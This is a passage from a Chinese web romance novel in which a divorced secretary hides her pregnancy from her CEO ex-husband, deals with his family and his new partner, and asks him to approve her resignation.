《离婚半年才怀,贺总,娃真不是你的》
1.离婚半年怀孕了
深夜,沈渺发了一张新生儿照片,并且配文:升级当妈啦,嫡长儿!
不出一个小时,家门被已经离婚半年的前夫敲响。
门一开,贺忱那张阴沉的脸,就让沈渺这两室的出租屋温度,降至冰点。
沈渺握着门把的手扣紧,“你怎么来了?”
男人冷着脸不说话,抬脚进来,锃光瓦亮的皮鞋踩在老式居民楼的彩花地板上,格格不入。
这不是他第一次来这里,他径直去了沈渺的卧室。
他的助理林昭,手里拿着一份协议书,递给沈渺。
“沈秘书,好久不见,这是贺总的御用律师连夜拟定出来的抚养权协议书。”
沈渺接过协议书,翻开看了一眼。
贺家长孙,必须由贺家抚养长大。
整页的长篇大论,沈渺精准地捕捉到这一句。
果然,贺忱要争抚养权。
他也不是那么不讲情面,沈渺可以将孩子抚养到三周岁。
前提是她愿意,她要是不愿意,现在贺忱就把孩子带走。
沈渺的心尖淡淡化开一抹痛,蔓延至四肢百骸。
她还愣着神,贺忱从卧室走出来。
“孩子呢?”
两年前嫁给他的时候,沈渺就知道他是个沉默寡言,并且冷血的人。
但贺忱很君子,因为一次意外睡了她,为了负责他提出结婚。
沈渺答应是因为长达六年的暗恋。
可是在这个节骨眼上,他未免也太惜字如金了。
就没什么话要说?
林昭看着沈渺的眼神充满同情,见气氛僵持,他识趣地退出出租屋,并且关了门。
逼仄的空间,静谧的夜晚。
沈渺突然轻笑了声,打破沉寂。
“什么孩子?”
贺忱身姿笔挺,站在客厅中央。
暗黄的灯在他头顶笼罩,令他五官轮廓模糊。
沈渺转过身,白净的小脸被灯光照得十分清楚,黑白分明的眼睛清可见底。
像是真听不懂他的话。
“算算日子,离婚时就怀了?既然如此,你又为什么要离婚。”
贺忱的质问不带一点儿情绪。
完全是好奇。
沈渺跟他结婚以后,才发现他结婚真的是为了负责。
如果非要找出负责以外的原因,那就是想要一个合法的生理需求工具吧。
两年的时间,她明确了自己在他心里的定位。
自幼在孤儿院长大的沈渺缺爱,也缺安全感。
这段婚姻,没有给她带来任何的温暖。
除了他每晚在床上动情,眼里只有她的那一刻——
所以,离婚是沈渺提的。
贺忱只说了一句:只要你不后悔就行。
办了离婚证当天下午,沈渺就向他提出调职,去京北另一个区的分公司任总经理一职。
半年没见,她竟然生了个孩子出来。
贺忱说不清心头什么滋味。
“我这不是给程小姐腾地方吗?”沈渺淡笑着,“你真要把孩子带回去,程小姐能同意吗?听说你们好事将近,她要是一生气跟你分手了,你怎么办?”
据说程唯怡是贺忱这辈子唯一爱过的女人。
两人青梅竹马,后来不知为什么分手,程唯怡出国了。
后来几年贺忱都单着,零绯闻,媒体几次报道这段恋情,都说他在等程唯怡回来。
半年前,程唯怡回国,成为了压垮沈渺想离开,却又舍不得离开的最后一根稻草。
得知她回来,沈渺当天晚上就提了离婚。
“这些都跟你没关系,也不是你该考虑的问题。”
贺忱态度依旧,并未有半分动容,“你是聪明人,孩子不该跟你在这种环境下长大,回贺家才是最正确的选择。”
沈渺是聪明,但再聪明的人,在动了感情的情况下,也无法保持理智。
“狗都不嫌家贫,儿肯定更不嫌,我的孩子都不嫌弃,你这是替他嫌弃我?”
她那张嘴,一直都很硬。
贺忱算了解她,她是一个很有自我立场的人,一旦认定的事情都会坚持。
以前在工作上,她跟他叫过板,为了一个项目评估,她冒着被开除的危险也要跟他刚。
就只有在床上,他让她服过软。
但这次不一样,她再坚持,贺忱也不能让。
“沈渺,你觉得你有能力跟我斗?”
他不讲武德,沈渺犹如被一双无形大手,狠狠掐住了脖子。
没有辩驳能力,更没有反击能力。
沈渺扯了扯嘴角,“贺总,你误会了。”
“那是商音的孩子,我下班之后去医院看她,才进家门。”
贺忱眉骨收拢,凝望着她。
质疑,审视,最后见她还穿着紧身的包臀裙,挺翘的臀部细细的腰肢。
不像怀过孕,更不像刚生完的!
“哦,商音你还记得吧?我常跟你提的……”
沈渺解释。
但贺忱根本没听。
他从口袋里掏出一根烟,咬在嘴里,点燃后走到窗边一口接一口地抽。
短短一个小时,喜当爹,又下任了,他需要冷静。
半年不见,沈渺好像哪里变得不一样了。
他说不上来,与记忆中不一样,他在窗户的倒影上细细打量她。
她虽然有点小脾气,但结婚那两年私下在他面前像宠物猫一样,温顺听话。
现在,像野猫。
居然做出这种没边没谱的恶作剧?
沈渺走过来,把他面前的窗户打开,寒冬腊月刺骨的冷风吹进来,将烟味散去一些。
“虽然你误会了,但我还挺好奇,万一真有孩子,孩子跟程小姐也必定只能二选一,你选哪个?”
她很识趣,自己都不曾在贺忱的备选中。
“没那么多万一。”
贺忱掐灭了烟,找了一圈没找到烟灰缸,捏着烟蒂离开了她家。
他不是那种有闲情逸致,半夜三更跟前妻叙旧的人。
沈渺想,要不是看到那条朋友圈,他这辈子都不会再跟她见面。
除非像一个月前,偶然在酒店遇到,他喝多了,他们——又睡了一次。
沈渺怕尴尬,提上裤子趁他还没醒就跑了。
本想把这件事烂在肚子里,谁知这件事在她肚子里生根发了芽。
她是真怀了,六周,胎儿发育健康。
窗外下着雪,大片的鹅毛雪花下落,让一身黑色着装的男人更为显眼。
沈渺关了窗户,头抵在冰凉的窗户上,看着他把烟蒂丢垃圾桶里,上了路边的布加迪,疾驰而去。
那辆车,出现在这贫民窟,如此的突兀。
就像贺忱,本不该出现在沈渺的生命里。
2.她准备跑,离贺忱越远越好!
沈渺是她们孤儿院最有出息的那个,因为学习好免费读了国内顶尖大学。
‘顶尖’指的不仅仅是师资力量,还有学费和生活费,都是身为孤儿的沈渺掏不起的。
她就是那时候认识了贺忱,在那么多的公子哥中,他鹤立鸡群,闯入她的视线。
沈渺本想,这两年婚姻,以及夜夜的缠绵,当做这辈子的回忆,都足够了。
可偏偏,肚子里揣上娃了。
她舍不得打掉这个孩子,毕竟这是她在这个世界上唯一有血缘关系的人。
她怕贺忱抢孩子,又抱着侥幸心理,万一贺忱怕程唯怡生气,不认这个孩子呢?
结果——
沈渺叹一口气,低头看着尚且平坦的小腹。
虽然贺忱不记得那晚的事情,但她还是想做万全的准备。
只要不在贺忱眼皮子底下,偷偷生个孩子,他肯定不会发现吧。
就算发现了,有这次前车之鉴,下次就算真有了孩子,他也不会再来了吧?
临近年关,百荣开年度总结会。
沈渺带着年度总结报表,到总公司进行汇报时,多带了一封辞职信。
她准备跑!
离京北,离贺忱越远越好!
九点十分的会议,九点半了贺忱还没露面。
“我刚才来的时候,看到程小姐了。”
另外一个分公司负责人进来,小声说,“她在贺总办公室。”
“难怪贺总会迟到,陪程小姐呢。”
贺忱向来以工作为主,十分守时。
程唯怡的出现,破了他的先例。
沈渺终于明白,什么叫被偏爱。
她起身走到会议室窗边,扒开窗帘缝看对面的总裁办公室。
办公室的窗帘拉了一半,隐约可见清一色深灰室内,有一抹靓丽的紫色。
曾经身为贺忱的助理,沈渺对他的办公室很熟悉。
她脑海里勾勒出一幅贺忱坐在椅子上,程唯怡靠在他办公桌上,两人对视浅笑的画面。
贺忱。
她在心里轻轻念了一声。
她是为了贺忱才进百荣的,本想做个围着他转的小角色。
最后却牵扯如此深。
或许,只在她的生命里牵扯深,对贺忱来说她只是一个多看了一眼的路人甲。
那两年的婚姻,她没有任何的特殊对待,更别提偏爱。
真不知她拼了命挤到贺忱身边,究竟是对是错?
暗自庆幸曾跟他那般亲密。
却又后悔。
五味杂陈的滋味,在心头蔓延开。
“各位可以开始汇报了,会议全程视频记录,贺总会看回放的。”
林昭推开会议室门进来。
沈渺指尖微动,松开了窗帘,垂着眼帘回位置上坐下。
各分公司总经理进行汇报,没有贺忱在场,汇报进行得很快。
原本计划三个小时的会议,只用了两个小时。
“各位可以先去酒会了,贺总等会儿就下去。”
林昭把每个分公司的年度报表收集起来。
收到沈渺这儿时,他冲沈渺笑了笑。
“林特助,麻烦你把这个交给贺总。”
沈渺把辞职信装在信封,她本打算亲自交给贺忱的。
但程唯怡在办公室,她不方便进去。
“你可以直接交给贺总。”
林昭是贺忱的特助,沈渺是秘书,他们以前没少打交道,林昭也是公司里唯一知道他们婚姻关系的人。
他看了看贺忱办公室方向,“你敲门进去就行,反正是工作上的事情。”
会议室的门敞开着,能看清楚总裁办公室内的情形。
程唯怡就坐在贺忱的椅子边缘处,两个人挨得极近。
贺忱轮廓分明的面容带着一丝柔和,金丝眼镜下那双平日里清洌的眼眸,此刻尽是绵情。
或许是他们这半年来一直这样相处,林昭都见怪不怪了。
但这却是沈渺第一次见,她呼吸一滞。
沈渺以为离了婚,调职,远离贺忱,对他的感情就会一点点减少。
未曾想,看到他跟别的女人这般亲密,她的心里针扎般密密麻麻的疼。
她扯扯嘴角,强行把视线收回来。
“我就不打扰了,麻烦林特助了,谢谢你。”
林昭把信封接过来,“不用客气。”
他想,沈渺可能在避嫌,跟贺忱离婚后主动调职,现在更是私下连面都不见。
“林特助,再见。”
沈渺拿过公文包,冲林昭挥挥手,“酒会我就不参加了。”
本来想好好跟贺忱告个别。
但是现在看来,她没那个机会。
与其去年会上,看到贺忱跟程唯怡成双成对,还不如早点回家,整理文件好交接工作。
一般主动离职,没有意外情况贺忱都会批准。
距离年底放假还有两周,足够贺忱找到人顶替她位置,交接工作了。
她还得再计划一下,离开京北去哪里。
去一个没有百荣分公司,贺忱绝对不会去的地方。
林昭将报表以及沈渺的离职信,一并交到贺忱办公桌上。
“贺总,稍后会议记录整理好,我会发到您邮箱,另外这是沈秘书……沈总给您的东西。”
贺忱推了推鼻梁上的眼镜,看了眼那摞文件。
最上面那封只写了沈渺名字的信封映入眼帘,他微拧着眉。
“什么东西?她人呢?”
林昭颔首答,“走了。”
贺忱伸出手,拿过信封,正欲拆开。
程唯怡站起来说,“贺忱哥,我去个洗手间。”
她转身朝外面走,出了办公室却径直朝电梯口走去。
两年前贺忱突然闪婚,虽未对外公开,但她母亲与贺夫人是闺蜜,没有秘密。
她是回国后才从母亲口中得知,不然她怎么可能会在国外待那么久?
好在她知道时,贺家传来消息,贺忱跟沈渺离婚了。
虽然已经离婚,但程唯怡对这个传说中的贺少夫人,十分好奇。
听说是秘书上位,长得漂亮又聪明能干。
只可惜,出身不好,不是一路人注定走不到最后。
听说那女人还算识趣,离婚后就申请调职了。
可是刚刚那封只写了名字的信封,还是让她觉得,沈渺应该也不安分。
程唯怡快走几步,还是没追上,电梯已经下去了。
她只能作罢,又快步回去想知道那信封里到底装了什么?
小情书?小礼物?告白的卡片、手写的信?
越想,程唯怡走得越快了。
3.就当告别
程唯怡刚进办公室,就看到林昭在订票,忙问,“贺忱哥呢?你订票干什么?”
“在休息室,分公司那边有突发状况,贺总要过去一趟。”
不待林昭话音落地,程唯怡从包里拿出身份证件递过去。
“帮我也定一张,我陪他去。”
“啊?”林昭一愣,诧异地看向她。
她理所当然道,“怎么了?要让贺忱哥说你才听啊?”
这半年,贺忱去哪里她去哪里。
林昭一想也是,接过她的证件,“好。”
程唯怡看到拆开的信,里面的东西已经被贺忱拿走了。
她拧起眉,眸色尽是防备。
没一会儿,贺忱换了一套衣服出来,拎着公文包,阔步朝外走。
那张并未被展开的辞职信,被他随手放在床边,收拾东西时又不小心掉在了地上。
——
沈渺在网上搜孕期注意事项时,财经新闻弹出词条,她这才知道贺忱出国了。
临近年关,公司正忙,贺忱抛下工作带着程唯怡出国。
媒体猜测他们好事将近,去国外踩点准备结婚。
这半年,关于他们的绯闻虽然很多,但沈渺从来没有点进去看过。
她在刻意逃避。
逃了半天,一个月前见贺忱那次,还是做不到推开他,上了床。
索性不逃了,反正要走了,早扎心早死心。
她点开新闻,把照片放大。
男人黑色西装,拎着粉色的行李箱,臂弯处还搭着女士的包包。
他站在女洗手间门口,不用想也知道是在等程唯怡。
大名鼎鼎的百荣掌事人,贺家长子、唯一继承人。
随便哪个身份拎出来都是让人望尘莫及的。
不曾正眼看过她的男人,却做出大庭广众之下在女洗手间门口等着人的事情。
虽然是偷拍,但贺忱三百六十度无死角。
他骨相生得极好,几张不同角度照片皆是透着矜贵。
隔着屏幕,沈渺似乎能感受到男人的气息。
她将手机关了,手抵在小腹上,看着对面一米五的沙发。
跟贺忱领证后,她回家收拾东西,贺忱过来接她。
她没想到贺忱会过来接,刚洗了澡,正收拾东西。
穿得单薄,头发湿哒哒的,引得男人把控不住。
在这张沙发上,做了他们的第二次。
那是在这里唯一一次,也是最后一次吧。
沈渺的手抵在嘴上,轻咬着手指。
她的工资很高,这些年攒了不少,就算近几年不上班,都够她跟孩子生活的。
未来她也一定会努力,给孩子更好的生活。
等了几天,她有些沉不住气了。
借着工作,跑到总部去,找人事部熟人打听离职手续进行到哪一步了。
但她来得不巧,人事部在开部门年终总结会,要中午才结束。
分公司还有一堆事,沈渺等不了,只能离开。
刚转了个身,手腕突然被人拉住。
“嫂子!我终于见到你了!”
贺懿小声喊了她一句,拉着她朝楼道走。
声控灯亮起,沈渺看着比自己高了半头,还趴在自己肩膀上撒娇的女孩。
“我跟贺忱都离婚了,以后别叫我嫂子了,咱们年纪相仿,喊名字就行。”
贺懿是贺忱的亲妹妹,比贺忱小三岁。
她应聘进公司一年了,从底层做起,之前沈渺明里暗里帮了她很多。
贺懿很喜欢她。
“离了婚你也是我嫂子!奶奶和爷爷念叨你很久了,今天终于让我抓到了,我去请假,现在就回家!”
贺懿真干得出这种事情。
沈渺赶忙拉住她,“临近年关公司忙,这时候请假会影响你的转正评估。”
“嫂子,不,渺渺,你就回去嘛,回去看看行不行,求求你了!”
拗不过贺懿,沈渺只好道:“那晚上回去,行吗?”
跟贺忱这段婚姻,除了贺忱不爱她,几乎是没有缺点的。
贺忱提出隐婚,她以为连贺家人都要瞒着。
谁知领完证他就带着她回了贺家。
贺忱的父亲对贺忱先斩后奏十分不满,但终归是没说什么。
而贺忱的母亲是一直没接受她,但也不为难地冷处理状态。
贺家老两口很喜欢她,每周固定回去吃一次饭,她都能在老两口身上感受到亲人的关心和爱意。
如今她要走了,以后大概率都不会再回来。
走之前再去拜访一下贺家二老,就当告别吧。
反正,贺忱也不在。
“真的?”贺懿打电话、发消息找了她好多次,她都拒绝去贺家,“你不是耍我吧?”
沈渺笑了笑,把她衣服上的蝴蝶结整理了下,“我什么时候骗过人?”
刚说完,她心里咯噔了下。
她是从来不骗人,但这次对贺忱撒了个弥天大谎。
一旦被抓包,当场‘处死’的那种程度。
“那行,我现在就去给爷爷奶奶打电话!”
贺懿性子单纯,从来不觉得沈渺与贺忱已经离婚,她是真的不适合再往贺家跑。
罢了,就去这一次。
沈渺离开总部,去分公司的路上,路过一家百年糕点店,买了贺家二老喜欢吃的东西。
晚七点,华灯初上,偌大的贺家庄园灯火通明。
老太太愤怒的咆哮声响彻整个别墅。
“这个臭小子,放着你这么好的媳妇不知道珍惜,我看他下半辈子怎么过!”
离婚后,贺老夫人给沈渺打电话,狠狠骂过贺忱一次了。
现在坐在贺家还听贺老夫人把错归结到贺忱身上,沈渺心里发虚。
“奶奶,离婚真的是我提的。”
没离婚时,每次回贺家老宅老两口就板着脸训斥贺忱,对她好一点,贺忱的父母就不高兴。
现在离了婚他们还为她骂贺忱——
“我哥要对你好,你怎么会离婚?”贺懿端着果盘,听着二老骂贺忱,一味帮腔。
沈渺给她使眼色,想让这个小祖宗消停点。
见沈渺局促,贺老爷子转移话题,“渺渺,去分公司还适应吗?”
“适应。”沈渺点头,“爷爷奶奶,你们多注意身体,我一切都好。”
贺老夫人抓着她的手,“怎么感觉瘦了啊?是不是工作太忙了?换个职位行不行啊?工资照总经理开,工作减半!离婚时你怎么不分他一半财产啊……”
不知情的,还以为贺老夫人是她亲奶奶。
贺忱一半的财产,能让沈渺几辈子都躺平,随便花。
婚已经离了,二老骂了贺忱几句,就只聊沈渺最近如何,贺懿以及老两口之间最近的趣事。
聊得正开心时,院子里突然传来汽车的嗡鸣声。
沈渺侧目看去,熟悉的布加迪映入眼帘。
4.沉重的‘再见\’
不等客厅几个人反应过来,楼上传来脚步声。
贺忱的母亲明黎艳匆匆下楼。
年近五十的女人身材很好,保养得像三十多岁。
她只裹了一件红色披肩,不惧室外零下十来度的温度,去迎接人。
刺眼的车灯熄灭,沈渺这才看清楚,跟贺忱一起下车来的,还有程唯怡。
在她面前向来端着架子的明黎艳,任由程唯怡挽着她胳膊。
贺忱一脸笑意,绕到后备箱拿出几个购物袋,静等着她们叙旧。
这一幕落入沈渺眼里,有些刺得慌。
她移开了目光,突然就如坐针毡。
人家带了现任回来,她在这里算怎么回事?
可现在走已经来不及,必定要正面对上。
“是不是贺忱没照顾好你?怎么瘦了?”
明黎艳的声音由远及近,“你被他‘虐待’了,我怎么跟程家交代?”
伴着一声声高跟鞋的声音,程唯怡娇笑。
“我妈只担心我影响了贺忱哥工作,才不会关心我瘦没瘦呢,我们两个是不是从小抱错换妈了?你们眼里啊,从来没有我们,都是对方的孩子!”
明黎艳被逗笑,轻拍了下程唯怡的手背。
两人愉悦的交谈声,随着来到客厅而戛然而止。
贺忱拎着购物袋在她们后面走上前,看到沈渺顿住,眉心一蹙。
他们的到来,打断了客厅欢快的气氛。
而打断她们亲昵的,只有沈渺一个人。
“咦,伯母,家里有客人啊。”
程唯怡一眼就认出沈渺来了。
比她想象中长得更漂亮,坐在那里一动不动,就能让其他女人心里生出危机感、嫉妒感的容貌。
难怪,贺忱会娶她。
不知明黎艳刚才下楼是真没看到沈渺,还是看到了装没看见。
她脸上没了笑容,语气带着不满,“你来干什么?”
“我请嫂……渺渺回来的。”贺懿站起来,把果盘往茶几上一放,“干什么?我不能带朋友回来啊?”
明黎艳瞪了贺懿一眼,扭头说,“小懿的朋友,这孩子什么人也往家里带。”
她拉着程唯怡过去坐下。
贺忱眸色极深地看了沈渺几眼,然后将几个购物袋放在茶几上。
“你们聊,我先上楼处理一些工作。”
他转身上了楼。
“爷爷奶奶,我刚跟贺忱哥从M国回来,特意给你们买了礼物!”
程唯怡起身,将几个购物袋都拿过来。
把给贺家每个人的礼物,分别送到他们手上。
贺懿对程唯怡不感冒,接了礼物说了声‘谢谢’,就丢到一旁了。
贺家老两口毕竟是长辈,程唯怡又是‘准孙媳’,所以他们寒暄了几句。
“我就知道爷爷奶奶会喜欢这些,看来真没买错,以后跟着贺忱哥少不了去国外,我再给你们买其他的。”
程唯怡将多出来的一个购物袋,交给明黎艳。
“这是给伯父的,伯母你帮他收着!”
明黎艳笑得合不拢嘴,“还是你懂事,有心了,贺忱每次出去都不知道给我们带礼物……”
贺懿轻嗤了一声,凑到沈渺身边。
“之前你给她带礼物,也没见她笑成这样。”
沈渺抵在身侧的手,紧紧抓着衣角。
程唯怡出身好长得漂亮又嘴甜,关键还是贺忱的心上人,受明黎艳喜欢是理所应当。
而她不会说让人讨喜的话,出身也不好。
她强压了下情绪,对贺懿笑了笑,看似平静地坐在那里实则早已如坐针毡。
找了合适的机会,她立刻开口。
“爷爷奶奶,明董,程小姐,你们聊我先告辞,就不打扰了。”
她拿着包站起来。
贺老夫人一瞬面露不舍,“不是说好了留下来吃饭吗?”
“不了,我还有事。”
沈渺朝贺家二老颔首,“提前给二老拜个早年,祝你们身体健康,万事如意。”
她在心里添了一句沉重的‘再见’。
贺老夫人难掩不舍,可知道贺忱回来了,她不自在,所以没挽留她。
“小懿,你去送送她。”
贺懿应了一声,起身跟着沈渺往外走。
“不用送。”沈渺看见明黎艳的脸色拉下来。
她加快离开的步伐,谁知刚换上鞋,就听贺忱的声音在二楼拐角处传来。
“沈渺。”
霎时,整个一楼静得落针可闻。
沈渺身体一僵,循声望去。
男人站在楼梯口,黑色的衬衫散开着领口,整个人透着几分随和却不失矜贵。
程唯怡在沙发上站起来,轻咬着嘴唇,看看沈渺又看看贺忱。
“加个班,做一个会议记录。”
沈渺细眉拧成一团,“贺总,我太久没接触总公司业务,怕是跟不上会议进度。”
二楼没开灯,男人处于光线昏暗处,令人看不清他的表情。
他似乎有些急,丢下一句‘哪那么多废话,赶紧上来’,就转身回书房了。
沈渺唇瓣微抿,察觉到客厅两道不满的视线落在自己身上,她犹豫着要不要上去。
“渺渺,你快去啊!”贺懿拉着她上楼,“不然我哥肯定抓我给他记录,还得骂我记录得不行!”
偶尔贺忱在家处理工作,贺懿经常性地被抓过来帮忙。
不干不行,干不好挨骂。
贺懿把她当成救星,直接把她塞到贺忱书房,‘砰’一声关上门。
许是关门声太重,贺忱眼皮轻掀看过来。
沈渺穿着宽松的黑色羽绒服,戴着一顶毛茸茸的白帽子。
脚下踩着一双平底鞋。
以往沈渺装扮是千年不变的高跟鞋配职业装,天儿再冷也就加一件呢大衣,商业范十足。
贺忱又回忆了一下,结婚那两年,不上班的时候他也没见她穿过平底鞋和羽绒服。
“今天没上班?”
5.沈渺是咱们家的禁忌
沈渺下意识用手扯了扯羽绒服,遮住平坦的肚子。
“上了,可能年纪大了,今年格外怕冷。”
她走过去坐下,转移话题,“需要用我的笔记本吗?那我得到车上拿。”
“用我的。”
贺忱把笔记本推到沈渺面前。
屏保照片是一张老照片,一男一女的背影。
沈渺一眼就认出男人是贺忱,女人身型跟程唯怡相似。
她目不斜视,打开文件,机械地做会议记录。
在工作上,沈渺和贺忱还是很默契的。
他一个眼神,她就知道将哪一项工作标红,留作后期的重点观察。
他一个手势,她就让汇报工作的人结束,换下一个。
哪怕半年没跟他,默契依旧在。
贺忱紧拧的眉头,渐渐舒展开。
他的注意力不知不觉从工作中,转移到沈渺身上。
褪去死板的职业装,沈渺那张脸惊艳绝伦,年轻又漂亮。
她的手指软若无骨,细白又修长,曾经紧紧攥着薄被——
室内热,她没脱羽绒服,光滑的额头冒出一层细汗。
脸颊泛红,卷翘的睫毛随着她眨眼的动作忽闪忽闪的。
沈渺属于那种乍看漂亮,也禁得住仔细打量的人。
不知不觉,贺忱看得有些出神。
会议那端的人,汇报结束,男人却没有动静。
沈渺的指尖敲着键盘,匆忙看了他一眼,对上他的眼神。
她心口一紧,迅速垂下眼帘。
将最后几个字打完,她又整顿了下衣服。
“热就脱了,会议还要持续很久。”
贺忱注意到她的小动作,丢给她两句话,又重新进入会议中。
心虚作祟,沈渺不敢脱。
“不用,我不热。”
贺忱又看了她一眼,灯光照在她脑门上,一层细汗都折出光来了。
“继续。”他并未管她。
沈渺额头的细汗,渐渐变成了汗珠,顺着脸颊落下来,打湿了她的头发。
又热又饿,她逐渐不舒服,胃里也一阵阵反酸水。
不知过了多久,会议终于结束。
沈渺起身拿了包,“贺总,会议记录我都保存好了,没其他事情就先走了。”
不等贺忱回话,她人已经出了书房。
长廊尽头的窗户开了一条缝隙,冷风吹进来,她舒服了些。
但胃里还是很难受,她不由得加快步伐。
餐厅离着玄关有一段距离,她打算趁人不注意就这么走了。
路过客厅时,一阵阵饭菜的香味飘来。
她以前最爱喝鱼汤,可不知怎的,今天闻到熟悉的鱼汤味胃里一阵恶心。
“开完会了?渺渺,吃了再走!”贺懿眼尖,看到她下楼立马起身过来。
沈渺摇头,谁知这一甩脑袋,胃里的酸水翻江倒海涌上来。
她冲进右手边的厕所,控制不住地干呕。
贺忱的声音贯穿着杂乱的脚步声传来,“章妈,拿胃药过来。”
小时候在孤儿院吃残渣冷饭,饥一顿饱一顿沈渺有严重的胃病,贺家人都知道。
贺老爷子懂医术,给她开过几服药调理这才好了不少,偶尔犯吃两片胃药就能好。
可今天这反应,是孕吐。
而怀孕,是不能吃胃药的。
沈渺迅速漱口,正打算说不用,可一回头鱼汤的腥味又传来。
她再次蹲下干呕。
贺老夫人也离席,走过来轻拍着沈渺的背。
“是不是饿久了?等会吃了胃药,喝点热鱼汤再走。”
“喝点水!”贺懿端了一杯温水过来。
沈渺接过温水,漱漱口,又喝下去一口压了压那股恶心。
“抱歉打扰各位用餐了,我就是有些普通感冒,不是胃病,我家里有药回去吃就行。”
餐厅几人朝这边看过来,明黎艳不满的目光,最为明显。
程唯怡走到贺忱身边,挽着贺忱的胳膊,与贺忱一同看着沈渺。
贺懿添了句,“感冒哪里有吐的?你的脸色又红又黄,让爷爷给你把把脉吧!”
贺老爷子医术不说多好,但怀了孕他肯定能把出来!
沈渺心口一紧,迅速颔首语气更为客气,“不敢再劳烦爷爷了,我真的没事。”
她不想破坏贺家人的晚餐,尤其程唯怡还在这里。
贺老夫人理解。
但是两年接触下来,贺老夫人把她当成亲人,哪里能在明知她难受的情况下,让她就这么走了!?
“听话,让爷爷给你看看,就当安奶奶的心了,成不成?”
沈渺暗暗朝贺老夫人摇头,就算她没怀孕,也不能抢了程唯怡在贺家的风头。
明黎艳坐不住了,起身朝这边走过来,“这饭还让不让人吃了?”
餐桌上只剩下贺老爷子与贺岭山还在座位上。
这饭,可不是要吃不下去了?
而沈渺就是打断他们一家人用餐的‘罪魁祸首’。
贺老夫人见她实在为难,只能松口,“真没事?”
“真没事。”沈渺白净的小脸透着些许微黄,她冲贺老夫人挤出一抹笑容。
“那走吧,路上注意安全。”贺老夫人不想让她留下来,受明黎艳的刁难。
沈渺转身离开,走出别墅,冷气袭来,她额头的细汗瞬间变得冰凉。
贺忱站在室内,透过窗户看着她的背影。
灯火通明的庄园笼罩着她,她却头也不回地背道而驰,朝着冰冷、黑暗的院落外走去。
步伐快得像是后面有脏东西在追。
“贺忱哥,我们去吃饭吧。”程唯怡挽上他胳膊,拉着他朝餐桌走去。
贺忱敛回目光,被她拉到餐厅,一同落座。
明黎艳冷哼一声,回到餐桌上越过这个话题,与程唯怡热络地聊天。
饭局结束后,贺忱送程唯怡回家。
明黎艳特意上楼找贺懿,“以后别再跟沈渺来往!”
“怎么了?”贺懿明知故问,“我还不能跟她交朋友啊?”
明黎艳气结,“你说怎么了?你哥跟唯怡都要订婚了,沈渺就是咱们家的禁忌。”
贺懿坐直身体,“我哥真的要跟程唯怡订婚啊?”
“他们两个青梅竹马,订婚是迟早的事情,你再敢不听话,我饶不了你。”明黎艳训斥着贺懿。
明黎艳管不了贺家二老,一定要管住贺懿。
6.被调职回总部
贺懿嘴上答应,却在明黎艳出去后冲着她背影直撇嘴。
——
程唯怡拉着贺忱到餐厅入座,两人紧挨着坐的画面不断浮现在沈渺的脑海里。
她不该多看这一眼。
回去的路上沈渺吹了吹冷风,逐渐清醒,半路找地方吃了点温热的粥才回家。
接连几天,关于贺忱与程唯怡的新闻铺天盖地地袭来。
让沈渺觉得煎熬的是,辞职的事情还没动静。
她给人事部关系不错的张敏打电话问了问。
结果张敏压根不知道她要离职。
身为人事部经理助理,沈渺离职的事情一定会经张敏的手。
可她到现在都还不知道,证明贺忱还没批。
沈渺一脚油门踩下去,直奔百荣总部。
她来得不巧,贺忱在开会。
秘书办的人让她到会议室等。
她等了约莫半个小时时,程唯怡来了。
程唯怡胳膊上挂着当季限量款包包,妆容精致面色红润,与秘书办的人谈笑风生,颇有老板娘的风范。
进入贺忱办公室之前,程唯怡余光瞥到了会客厅坐着的沈渺。
她招手喊来秘书办的小秘书周芸,“那怎么回事?”
“沈总是来找贺总的,不过她没提前预约,只能等。”
周芸冲程唯怡讨好的笑着。
程唯怡摆弄着指甲,眼底泛着精光,她低声交代着周芸什么。
没几分钟,周芸进入会客室。
“沈总,你先回去吧,贺总没时间见你。”
沈渺抬头看去,“贺总的会议还没开完,这话应该不是他说的。”
霎时,周芸被噎得说不出来。
沈渺心里有数,她说,“等贺总开完会,帮我转告一声,我只要五分钟就够。”
“沈秘书,你有什么事情不能给贺总打电话,非要见他?”周芸变相地打探消息。
“贺总的电话打不通。”
若非如此,沈渺不会特意往这跑一趟。
周芸将她的话原封不动转述给程唯怡。
程唯怡根本不信,若是工作上的急事,沈渺坐不住。
可她坐在那里等,就证明事情不急,是她要见贺忱!
半年来沈渺都算安分,程唯怡本不把她放在心上了。
谁知如今她和贺忱要订婚了,沈渺又跳出来。
程唯怡怎能不防?
周芸周转于两人之间,又来到了会议室。
“沈秘书,麻烦你到东边那个会议室等着,我们等下开会要用这个会议室。”
沈渺起身拿上包转身就走。
东边的会议室在角落,贺忱回来不走这边,她是看不到的。
她坐下来,掏出手机发出一条消息去。
【恬恬,贺总回办公室通知我一声。】
李白恬跟周芸是秘书办同期入职的。
两人性格天差地别,周芸喜欢向上管理,之前总跟沈渺套近乎,沈渺一直不冷不热的。
她更喜欢踏实认干的李白恬,关系走得近。
李白恬很快回了个‘OK’的手势。
分公司一堆事务等着处理,沈渺交代好就开始处理公务。
谁知一忙就到了中午。
会议室的门被推开,李白恬跑进来,一脸歉意。
“沈渺姐,贺总跟程小姐去六楼用餐了,他开完会回来时我正好不在秘书办没看到。”
沈渺合上电脑装到公文包,起身朝外走,“没事,我现在下去还来得及。”
“对不起啊沈渺姐,我真没注意贺总哪会儿回来的。”
李白恬一味道歉。
沈渺不怪她,毕竟自己也投入工作没来得及问。
她乘电梯下楼,刚出电梯对面的总裁专用梯门缓缓打开。
“我让餐厅扩了一个西餐口出来,从国外请过来的厨师,尝尝合不合你的胃口。”
贺忱温润的声音传来,黑色的西装挺括有型。
清冷的声音此刻柔和又宠溺,看着身侧女人。
程唯怡穿着粉白色的毛衣,黑色小皮裙,小鸟依人般站在他身边。
“如果这次还不合我的胃口,你就去国外把那家餐厅的厨师挖过来。”
贺忱低笑,“都依你。”
两人对视一笑,朝电梯外走。
贺忱骨节分明的手挡了下电梯壁,让程唯怡先出来。
程唯怡一眼就看到了等在外面的沈渺,她笑容顿时浅下来。
“贺总,耽误您几分钟,我有事情想说。”沈渺走上前来,低垂着眉眼。
但她余光还能看到,程唯怡立马挽住贺忱的胳膊。
贺忱轻拍着程唯怡的手,“乖,你先进去,西餐凉了就不好吃了,我马上就来。”
“那行,你要快点哦。”程唯怡撒娇,说完不情不愿地松开贺忱,朝餐厅走去。
“跟我来。”贺忱的声音冷然了不少,丢下三个字朝尽头的休息区走去。
沈渺跟上他。
贺忱点燃了一根烟叼在嘴上,他看着腕表。
“五分钟。”
“打扰您用餐了,您能不能尽快批准我的离职报告。”
沈渺直入主题。
